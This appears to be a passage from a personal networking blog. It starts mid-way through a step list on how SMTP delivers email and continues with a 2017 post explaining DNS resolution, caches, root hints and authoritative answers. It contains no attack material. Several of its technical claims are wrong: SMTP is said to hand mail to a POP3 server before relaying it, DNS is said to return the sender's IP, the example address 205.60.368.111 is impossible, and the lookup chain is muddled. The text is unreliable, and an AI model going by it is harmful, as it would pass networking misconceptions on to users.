Step 5) If the receiver have different domain name, SMTP server will send that email message to the POP3 server and then SMTP will communicate with that domain.

Step 6) SMTP server will then communicate with the DNS server to get to the client's mail server. DNS server will then provide the IP address of sender address to the SMTP server.

Step 7) SMTP server at the sender side will connect with the SMTP sever of the receiver server.

Step 8) After the connection has made, SMTP server will differentiate the domain name for client at receiver.com and transmit the message to the receiver's POP3 server and then email will reach to the clients mailbox.

If any trouble occurs between sending senders mail sever and the receiver mail sever, the message goes in sendmail queue. What it does is, it will send mail after some moment of time after troubleshooting the issue. And for some reason it did not works, sendmail queue will return back the message to the sender.



17 Aug 2017

DNS



Domain Name System. It is used to resolve  host name (e.g., www.example.com) to an IP addresses (e.g., 205.60.368.111).

It works at the Application Layer which uses UDP and TCP.
A single UDP for request and get reply between client and server, primarily on port number 53 to serve request.
TCP is used when the response data size is more then 512 bytes or we have to perform Zone transfer.

Example:
Let us suppose, we can enter either  http://27.230.168.43/ or http://example.com/ in browser search bar to get us the results. But using a name instead of their IP is seems more easy way to remember. Here, DNS do that easy job for us.

However, IP address and DNS is not same. Here's why:
IP address is an identifier for a device on a TCP/IP network which is unique for individual device. Whereas, DNS, is to identify that IP address.


How DNS Works: 

1) DNS Query Request 
This is how a DNS Request query look wireshark.



2) DNS query Response 
This is how a DNS Response query look wireshark




1) DNS looks for the the request:
1) Local Machine
2) DNS Cache
3) DNS Server Service

When DNS response are not found locally then, 
1) Root Hints
2) Authoritative and Non Authoritative Response

DNS Cache:
It's recent memory of the DNS lookups that is stored in our system's operating system that it can quickly refer to when it is tying to figure out how to load a website.
This the first step a DNS do when a client issue a request.

Root Hints:
It contains the host information that is needed to resolve the name outside the authoritative DNS domains. It contains the name and the IP addresses of the root DNS servers.

2) Authoritative and Non Authoritative Response:
Authoritative Response are the response we get from the DNS, if the file we are searching for are on the same DNS zone.
Whereas, Non Authoritative Response, is when we get the IP address coming from the global server which is not our own.

Below are the step a DNS follows to get request response.

Step 1: Search Host File
When we issue an request "www.example.com", browser first search it in user system. Basically, it is all stored inside users windows file in their system. If it did not able to find, it'll ask the Router.

Step 2: Search Router
Router has cache to store recent DNS look ups, that our system can quickly refer to when it is trying to figure out how to load a website. If router, did not able to find the request it will ask ISP to look for it.

Step 3: Ask ISP
ISP or Internet Service Provider, look for that request location in it's DNS Cache. If it did not found, ISP will ask the IP to the Root DNS.

Step 4: Ask Root DNS
Root DNS will run a query to look for that request location in it's DNS Cache and if it did not find then, it will then give IP address of TLD to ISP.

Step 5: Ask TLD
Top Level Domain or TLD contains all the top level domains, e.g., .com or .org. It will search for that requested location. If it did not get the result it will IP address of Name server to ISP.

Step 6: Ask Name Server
ISP will then ask Name server, or Google name server for the IP address of the  www.example.com website. Name Server will have the IP location and it will retrieve that result to the ISP.

Step 7: ISP 
After getting the result, ISP will give IP address location to the Router.

Step 8: Router
Router will have the IP and it will give the IP to the browser and now browser will open the website for the user in their system.